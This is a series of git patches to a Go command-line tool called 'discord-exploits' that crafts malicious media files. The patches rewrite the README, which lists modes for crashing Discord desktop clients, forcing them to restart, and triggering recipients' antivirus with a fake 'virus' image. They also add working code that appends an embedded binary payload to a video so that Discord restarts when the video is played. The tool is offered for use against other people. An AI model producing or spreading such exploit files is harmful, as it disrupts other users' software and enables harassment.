From a80ae2c9568ae0df82bc4bcfad41ddecc67570a6 Mon Sep 17 00:00:00 2001 From: vysion <77179954+vysiondev@users.noreply.github.com> Date: Wed, 19 May 2021 00:28:18 -0700 Subject: [PATCH 1/4] cleanup readme --- README.md | 82 ++++++++++++++++---------------------- exploits/restart-video.go | 1 + exploits/restart.bin | Bin 0 -> 85767 bytes 3 files changed, 36 insertions(+), 47 deletions(-) create mode 100644 exploits/restart-video.go create mode 100644 exploits/restart.bin diff --git a/README.md b/README.md index c682332..4167013 100644 --- a/README.md +++ b/README.md @@ -1,83 +1,69 @@ [![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers) -![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) +![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) ![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) [![GitHub forks](https://img.shields.io/github/forks/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)](https://github.com/Schmenn/discord-exploits/network) ![Made with](https://img.shields.io/badge/made%20with-Go-29BEB0?style=flat-square) # Discord-Exploits -A program for creating exploited media files for discord written in Go. + +A program for creating exploited media files for Discord written in Go. # [Video Guide](https://www.youtube.com/watch?v=X0e3dgXzuEM) -##### If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ) +If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ) -DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT, +DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT, DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TERMINAL IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME - - -### Getting Help +## Getting Started `discord-exploits -h` will show you what commands can be used and what you have to do -### Creating an Expanding Video file +## Usage -`discord-exploits -m -i [-q]` +`discord-exploits -m -i [-q]` -the mode `c` stands for "crash", this file will crash almost any desktop discord client when it is played to the end +| Mode | Description | +| :------------ | :------------ | +| `c` | Create a file that will crash most Discord desktop clients when played to the end | +| `r` | Create a file that will instantly restart most Discord desktop clients when played to the end | +| `v` | Create a virus image (upon sending to a channel, it will trigger antivirus software for anyone who sees it) | +| `e` | Create a video which has an expanding video duration (00:00/00:02, 00:01/00:03, etc...) | +| `n` | Create a video with negative duration | +| `0` or `z` | Create a video with a removed duration header (0 second video) | +| `t` | Create a file that will play a different audio when it is replayed (still experimental) | -the mode `v` stands for virus image - -the mode `e` stands for expanding video duration - -the mode `n` stands for negative video duration - -the mode `0` or `z` stands for video with 0s duration - -the mode `t` stands for "twice", this file will play a different audio when it is replayed (still experimental) - -The Program only supports `webm` files for video, `png` files for images and `ogg` files for audio (t) +The program only supports `webm` files for video, `png` files for images and `ogg` files for audio (`t`) ##### The file will be saved with a random file name in the directory in which you ran the command + ##### You can use [FFmpeg](https://ffmpeg.org) to convert a video to .webm or to convert an image to png (better than online converters) + ##### The "virus" image may get flagged by windows defender and will get removed. to restore the file, go to Settings > Update & Security > Windows Security > Virus & Threat protection and restore the file ## Installation + ### Via releases -go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version +go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version. the program is compatible with: -###### availabe systems are: -`windows-64-bit -windows-32-bit` +`windows-64-bit windows-32-bit` -`linux-64-bit -linux-32-bit` +`linux-64-bit linux-32-bit` (untested on linux) -##### The Program was not yet tested on linux +### Compile from source +make sure you have [Go](https://golang.org) installed and in your path -### Compiling it yourself -###### make sure you have [Go](https://golang.org) installed and in your path -1. Clone this repository - - `git clone https://github.com/Schmenn/discord-exploits` - -###### If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip -2. Go into the folder - - `cd discord-exploits` - -3. Build it - - `go build` - -###### the executable will have the name `discord-exploits` +1. Clone this repository: `git clone https://github.com/Schmenn/discord-exploits` (If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip) +2. Go into the folder: `cd discord-exploits` +3. Build it: `go build` ## Features + ### Current Features * Feature for creating a video that, when played on discord, will seem like infinite, because the duration keeps getting longer * Feature for creating a video that, when played on discord, will look like it has got a huge negative duration @@ -87,12 +73,14 @@ linux-32-bit` * Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org)) * Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org)) -### Disclaimer +## Disclaimer + The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100. The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file. -### Upcoming Features are: -not yet decided. +## Upcoming Features + +None yet diff --git a/exploits/restart-video.go b/exploits/restart-video.go new file mode 100644 index 0000000..bc3b623 --- /dev/null +++ b/exploits/restart-video.go @@ -0,0 +1 @@ +package exploits diff --git a/exploits/restart.bin b/exploits/restart.bin new file mode 100644 index 0000000000000000000000000000000000000000..a642830c4fbe4f4acd27d7edaccbe02ec51e458f GIT binary patch literal 85767 zcmeI*Pi!1l9l-IoSvQJAs7#wkt&~PX2@(?VW_In`uIW^E(+DF1Er%AVDq7yoy!B2! zvooF_kQoana`VxpX_I)l+!G_X_zOmQhSt5<*ey7zZ$1gRi)IvW@d~k zeKm;#T}aGt_TJL#z4Z4JZ@==!#^TG*9sQfL@ws>2?bN2HoC(KIGUHUIt4=oQPR%-v z*=cPieW_TiNWihLJ$&NJ6I0H@qsJvOFt*}&l6E80ES#F_PEOR^T2%^LMUl=OJ9g^S zsmfXym?YBeN|G%dv!hg6MI1>?k``go&gUFoH?;4`kf!NPI)Q0KiNEYs=iE8h(QO@d zbK|+4$vL-Etxh_z@mi+iwXfax{zyMjEYQ$ZRtV+Gi_sVv9*1qYbaLOcjlWuWQ?9+u zOk2~;~yNr@(Leb3e^4QH|F=xmdWi@8MuHNU28ym5= zb>;HKyDun}e!=|UX*JW^yi~q+;I;3(|HCK#@eT9h!HYkB`L>^&-1zsicl_vEx2%kP z+cv)W&%4i=%NrYC|6}JS+ui=`@XqfXA09I^KRo77!$ZnfhsPWo9-^KZ9#dW%9&^|k z9&>4U$iCCVV_HLF#%_Z6=3f*d5kLR|1Q0*~0R#|0009ILKmY**5I_I{1Q0*~0R#|0 z009ILKmY**5I_I{1Q0*~0R#|0009ILKmY**5I_I{1Q0*~0R#|0009ILKmY**5I_I{ z1Q0*~0R#|0009ILKmY**5I_I{1Q0*~0R#|0009ILKmY**5I_I{1Q0*~0R#|00D(`Q zKfRZ*zT|UnM{Q0R#|0009ILKmY**5I_I{1V$rp>%Fp6@%+O2_fLH0=ofpV zxrb3L(=aXq2q1s}0tg_000IagfB*sr>>h#bEh%1LO9~cf5I_I{1Q0*~0R#|0009IL zKwxA7{Xh7SO*7B2CB?|*VE3$7aVH2MfB*srAb&Tp^MfrZUOjP;Eh$Db1*2M}Vq63e zKmY**5I_I{1Q0*~0R(oH!1k6DZ?h!@D-;MIfB*srAb~lZu^)}N-e&267(F&q$s}Hpn24*{N(?{hxS=8+y zGB&34N*uPEk~y#z_dDHr+ed;y-Ju{eHpU*de*bC~IfH!ZyLr)wB>#uJ$hRlN#{5pN z`Bh2nv9r&9f&02V_M&9%X^)RY42pMr-_h&I)t98#&oSecVGD6+BMtHc&hVMQahAA4>XFbFI}qqdCZE)ph?1aQQ0E literal 0 HcmV?d00001 From f5f7106c023ad25708471203be7593e752429343 Mon Sep 17 00:00:00 2001 From: vysion <77179954+vysiondev@users.noreply.github.com> Date: Wed, 19 May 2021 00:29:16 -0700 Subject: [PATCH 2/4] Added mode to create restart video --- exploits.go | 16 +++++++++++++- exploits/restart-video.go | 44 +++++++++++++++++++++++++++++++++++++++ modules/help.go | 1 + 3 files changed, 60 insertions(+), 1 deletion(-) diff --git a/exploits.go b/exploits.go index a167ac4..67b0909 100644 --- a/exploits.go +++ b/exploits.go @@ -5,8 +5,8 @@ import ( "github.com/Schmenn/discord-exploits/exploits" "github.com/Schmenn/discord-exploits/modules" "os" - "strings" "path/filepath" + "strings" ) var ( @@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) { fmt.Println("completed task.") os.Remove(out) + case "r": + fmt.Println("transcoding video from webm to mp4") + out := modules.Transcode(inputFile, "mp4") + fmt.Println("finished transcoding video from webm to mp4") + fmt.Println("editing video.") + exploits.RunRestartVideoTask(out) + fmt.Println("completed task.") + os.Remove(out) + default: fmt.Println("the mode doesn't match the file") } @@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) { exploits.RunCrashVideoTask(inputFile) fmt.Println("completed task.") + case "r": + fmt.Println("editing video.") + exploits.RunRestartVideoTask(inputFile) + fmt.Println("completed task.") + default: fmt.Println("the mode doesn't match the file") } diff --git a/exploits/restart-video.go b/exploits/restart-video.go index bc3b623..797d0e9 100644 --- a/exploits/restart-video.go +++ b/exploits/restart-video.go @@ -1 +1,45 @@ package exploits + +import ( + _ "embed" // embed + "fmt" + "os" + "os/exec" + "time" + + "github.com/Schmenn/discord-exploits/modules" +) + +//go:embed restart.bin +var restartBin []byte + +// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will +// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space. +func RunRestartVideoTask(filename string) { + binname := modules.CreateName("bin") + outname := modules.CreateName("mp4") + txtname := modules.CreateName("txt") + // prevent duplicate id + time.Sleep(time.Millisecond * 1) + reencode := modules.CreateName("mp4") + + modules.CheckForFFmpeg() + cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode) + err := cmd.Run() + modules.Check(err) + err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777) + modules.Check(err) + err = os.WriteFile(binname, restartBin, 0777) + modules.Check(err) + cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname) + err = cmd.Run() + modules.Check(err) + + err = os.Remove(binname) + modules.Check(err) + err = os.Remove(txtname) + modules.Check(err) + err = os.Remove(reencode) + modules.Check(err) + fmt.Println("Saved video to: " + outname) +} diff --git a/modules/help.go b/modules/help.go index 80fdf29..ae1562b 100644 --- a/modules/help.go +++ b/modules/help.go @@ -19,6 +19,7 @@ func Help(progName string) { fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration") fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration") fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)") + fmt.Println(" r takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)") fmt.Println(" image:") fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus") fmt.Println(" audio:") From 541ab73e1f1881940bb1f8995293123bc7a0446b Mon Sep 17 00:00:00 2001 From: vysion <77179954+vysiondev@users.noreply.github.com> Date: Wed, 19 May 2021 00:29:40 -0700 Subject: [PATCH 3/4] ran gofmt to tidy code --- .idea/.gitignore | 8 ++++++++ .idea/discord-exploits.iml | 8 ++++++++ .idea/modules.xml | 8 ++++++++ .idea/vcs.xml | 6 ++++++ exploits/expanding-video.go | 14 +++++++------- exploits/negative-video.go | 14 +++++++------- exploits/virus-image.go | 2 +- exploits/zero-video.go | 16 ++++++++-------- modules/ffmpeg-check.go | 2 +- modules/transcode.go | 2 +- 10 files changed, 55 insertions(+), 25 deletions(-) create mode 100644 .idea/.gitignore create mode 100644 .idea/discord-exploits.iml create mode 100644 .idea/modules.xml create mode 100644 .idea/vcs.xml diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..73f69e0 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml +# Editor-based HTTP Client requests +/httpRequests/ diff --git a/.idea/discord-exploits.iml b/.idea/discord-exploits.iml new file mode 100644 index 0000000..c956989 --- /dev/null +++ b/.idea/discord-exploits.iml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..40a3b49 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go index 36ef2a7..1072abc 100644 --- a/exploits/expanding-video.go +++ b/exploits/expanding-video.go @@ -18,13 +18,13 @@ func RunExpandingVideoTask(fileName string) { return } - data[index+3] = 63 - data[index+4] = 240 - data[index+5] = 0 - data[index+6] = 0 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 + data[index+3] = 63 + data[index+4] = 240 + data[index+5] = 0 + data[index+6] = 0 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 data[index+10] = 0 name := modules.CreateName("webm") diff --git a/exploits/negative-video.go b/exploits/negative-video.go index 5867326..2a57eb2 100644 --- a/exploits/negative-video.go +++ b/exploits/negative-video.go @@ -19,13 +19,13 @@ func RunNegativeVideoTask(fileName string) { return } - data[index+3] = 66 - data[index+4] = 255 - data[index+5] = 176 - data[index+6] = 96 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 + data[index+3] = 66 + data[index+4] = 255 + data[index+5] = 176 + data[index+6] = 96 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 data[index+10] = 0 name := modules.CreateName("webm") diff --git a/exploits/virus-image.go b/exploits/virus-image.go index bd05608..0db3ee9 100644 --- a/exploits/virus-image.go +++ b/exploits/virus-image.go @@ -12,7 +12,7 @@ var ( vpng1 []byte //go:embed virus2.txt vpng2 []byte - vpng = append(vpng1, vpng2...) + vpng = append(vpng1, vpng2...) ) // RunVirusImageTask edits file diff --git a/exploits/zero-video.go b/exploits/zero-video.go index 96f1c0f..556eacc 100644 --- a/exploits/zero-video.go +++ b/exploits/zero-video.go @@ -19,18 +19,18 @@ func RunZeroVideoTask(fileName string) { return } - data[index+3] = 0 - data[index+4] = 0 - data[index+5] = 0 - data[index+6] = 0 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 + data[index+3] = 0 + data[index+4] = 0 + data[index+5] = 0 + data[index+6] = 0 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 data[index+10] = 0 name := modules.CreateName("webm") - fmt.Println("Saved video to: "+name) + fmt.Println("Saved video to: " + name) err = os.WriteFile(name, data, os.FileMode(0777)) if err != nil { diff --git a/modules/ffmpeg-check.go b/modules/ffmpeg-check.go index fe0f9e7..2be4aa7 100644 --- a/modules/ffmpeg-check.go +++ b/modules/ffmpeg-check.go @@ -7,7 +7,7 @@ import ( ) // CheckForFFmpeg looks for ffmpeg in the path -func CheckForFFmpeg() (string) { +func CheckForFFmpeg() string { path, err := exec.LookPath("ffmpeg") if err != nil { diff --git a/modules/transcode.go b/modules/transcode.go index deae91c..d200571 100644 --- a/modules/transcode.go +++ b/modules/transcode.go @@ -16,7 +16,7 @@ func Transcode(input string, to string) string { Check(err) fmt.Println("temporarily saving transcoded file to " + output) - + return output } From 98c890141f1b609d1d683739829a47dd6bf70f17 Mon Sep 17 00:00:00 2001 From: vysion <77179954+vysiondev@users.noreply.github.com> Date: Wed, 19 May 2021 00:30:10 -0700 Subject: [PATCH 4/4] update gitignore --- .gitignore | 2 ++ .idea/.gitignore | 8 -------- .idea/discord-exploits.iml | 8 -------- .idea/modules.xml | 8 -------- .idea/vcs.xml | 6 ------ 5 files changed, 2 insertions(+), 30 deletions(-) delete mode 100644 .idea/.gitignore delete mode 100644 .idea/discord-exploits.iml delete mode 100644 .idea/modules.xml delete mode 100644 .idea/vcs.xml diff --git a/.gitignore b/.gitignore index e06b1f1..4711081 100644 --- a/.gitignore +++ b/.gitignore @@ -38,3 +38,5 @@ discord-exploits-linux-64bit *.m4a *.mp3 + +.idea \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index 73f69e0..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,8 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml -# Datasource local storage ignored files -/dataSources/ -/dataSources.local.xml -# Editor-based HTTP Client requests -/httpRequests/ diff --git a/.idea/discord-exploits.iml b/.idea/discord-exploits.iml deleted file mode 100644 index c956989..0000000 --- a/.idea/discord-exploits.iml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml deleted file mode 100644 index 40a3b49..0000000 --- a/.idea/modules.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml deleted file mode 100644 index 94a25f7..0000000 --- a/.idea/vcs.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file